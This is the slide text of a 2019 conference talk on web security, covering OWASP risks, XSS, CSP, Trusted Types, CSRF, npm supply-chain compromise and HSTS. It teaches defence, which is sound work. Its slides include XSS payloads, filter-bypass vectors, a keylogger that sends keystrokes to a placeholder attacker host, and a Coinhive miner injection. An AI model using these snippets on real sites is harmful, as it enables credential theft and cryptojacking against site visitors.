Безопасность в Web
Stepan Suvorov
CTO @ Studytube
Masters in Information Security
KharkivJS x10
Philippe de Ryck
Thank you for the inspiration!
- 1. Injection
- 2. Broken Authentication
- 3. Sensitive data exposure
- 4. XML External Entities (XXE)
- 5. Broken Access control
- 6. Security misconfigurations
- 7. Cross Site Scripting (XSS)
- 8. Insecure Deserialization
- 9. Using Components with known vulnerabilities
- 10. Insufficient logging and monitoring
OWASP Top 10
- 1. SQL Injection
- 2. Cross-Site Scripting (XSS)
- 3. Broken Authentication/Access control
- 4. Security misconfigurations
- 5. Cross-site Request Forgery (CSRF)
Most occurred
- 1. SQL Injection
- 2. Cross-Site Scripting (XSS)
- 3. Broken Authentication/Access control
- 4. Security misconfigurations
- 5. Cross-site Request Forgery (CSRF)
- 1. SQL Injection
- 2. Cross-Site Scripting (XSS)
- 3. Broken Authentication/Access control
-
4. Security misconfigurations
- Dependencies
- HTTPS
- 5. Cross-site Request Forgery (CSRF)
Agenda
XSS
XSS
Post Data with malicious code
Store
Fetch
Open App
Get malicious code
Check
Reflected XSS
Request with payload
Page with payload
Request unrelated page
Page with malicious code
.../search.php?q=something<script>alert(1)</script>...
...<h1>Search for something<script>alert(1)</script>...
DOM-based XSS
Follow link
Response
Make user to follow a link
var url = new URL(location.gref).searchParams.get("user");
$('#form').append('<input type="hidden" value="' + url + '">');
<form id="#form">
<input type="hidden"
value="https://example.com"/><script>alert(1)</script>
</form>
.../?user=something<script>alert(1)</script>...
What's the worst you can do with XSS?
var keys='';
document.onkeypress = function(e) {
e = window.event?event:e;
key = e.keyCode?e.keyCode:e.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://evil.../log.php?c='+keys;
keys = '';
}, 1000);
<script src="https://coinhive.com/lib/coinhive.min.js">
</script>
<script>
var miner = new CoinHive.User('SITE_KEY', 'john-doe');
miner.start();
</script>
XSS Defence
Sanitization
How can you bypass XSS filters?
$save_text = str_replace('script', 'span', $text);
<ScRiPt>/* bad code here*/ </ScRiPt>
<input type="image" src="javascript:/* ... */;">
<img src="no.png" onerror="/* bad code here */">
Don't even think about rolling your own sanitizer!
Content Security Policy
CSP
- style-src
- base-uri
- script-src
- object-src
- img-src
- font-src
What does CSP do?
Inline code
API
CDN
Analytics
3rd party
Injected script
Report-Only
Content-Security-Policy-Report-Only:
default-src https: 'unsafe-inline' 'unsafe-eval';
report-uri https://csp-violation-report-endpoint/
DOM Trusted Types
$('#form').append('...some STRING');
el.innerHTML='...some STRING'
DOM Trusted Types
- Don't pass (HTML, URL, script URL) strings to the DOM
- Use object instead
- DOM already supports it:
- Web platform (or polyfill) provided typed objects:
- TrustedHTML
- TrustedScript
- TrustedURL
- TrustedScriptURL
- Security rules & controls are based on types
el.innerHTML = { toString: () => 'hello' }
el.innerHTML // "hello"
Content-Security-Policy: trusted-types myPolicy
el.innerHTML = location.hash.slice(1); //string
//create via a TrustedTypes policy
el.innerHTML = aTrustedHTML;
Content-Security-Policy: trusted-types *
CSRF
CSRF
login
action
bad action
done
done!
eBay : The password cannot be updated by using this method.
eBay CSRF Story
: However, the information that’s needed to reset the password can.
facebook CSRF
2019 reward
- Jan 26, 2019 — Report Sent
- Jan 26, 2019— Acknowledged by Facebook
- Jan 28, 2019 — More details sent
- Jan 31, 2019— Fixed by Facebook
- Feb 12, 2019 — 25K bounty Awarded by Facebook
What to do against CSRF?
CSRF Tokens
login
action
bad action
done
Token:
==
Token: ...
NO ACCESS!
!= ...
Dependencies
Are you loading something from CDN?
What to do?
Subresource Integrity
https:// .../1.8/jquery.js
CDN
modified jquery.js*
<script src="http://.../1.8/jquery.js"
integrity="sha384-DegqqxuZuCnJ...38EidfneOW/An5kgufFFTa"
crossorigin="anonymous">
</script>
<script src="http://.../1.8/jquery.js"
integrity="sha384-DegqqxuZuCnJ...38EidfneOW/An5kgufFFTa">
</script>
<script src="http://.../1.8/jquery.js">
</script>
sha(jquery.js) != sha(jquery.js*)
Let's talk about
npm
Do you know all your project dependencies?
True story
event-stream v3.3.6
right9ctrl
event-stream v4.0.0
flatmap-stream v0.1.1
flatmap-stream v0.1.0
event-stream v3.3.5
flatmap-stream v0.1.1
require("crypto").decrypt("aes256", data, npm_package_description);
copay-dash
if(!/build\:.*\-release/.test(process.arg[2])) return;
npm run-script command
"build:ios-release": "run-s env:prod && ionic cordova build ios --release"
inject malicious payload to steal private keys from wallet
flatmap-stream v0.1.1
45 days
event-stream
77 days
How it was found?
pure luck!
npm audit
HTTPS
SSL vs TLS
Why not to use Https?
How can we get people to use the HTTPS version of the site?
Redirect
request HTTP page
redirect to HTTPS
request HTTPS page
HTTPS response
But
95% of HTTPS servers vulnerable to trivial MITM attack
request HTTP page
redirect to HTTPS
request HTTPS page
HTTPS response
request HTTP page
HTTP response
HTTPS → HTTP
login
steal
credentials
login HTTPS
HTTPS response
HTTP response
HSTS
request HTTP page
redirect to HTTPS
request HTTPS page
HTTPS response
with Strict-transport-security header
another day
user requests HTTP page
Bonus
Thank you for your attention.
Stepan Suvorov
Questions?
Дякую за увагу.
KharkivJs 2019
By Stepan Suvorov
KharkivJs 2019
- 1,425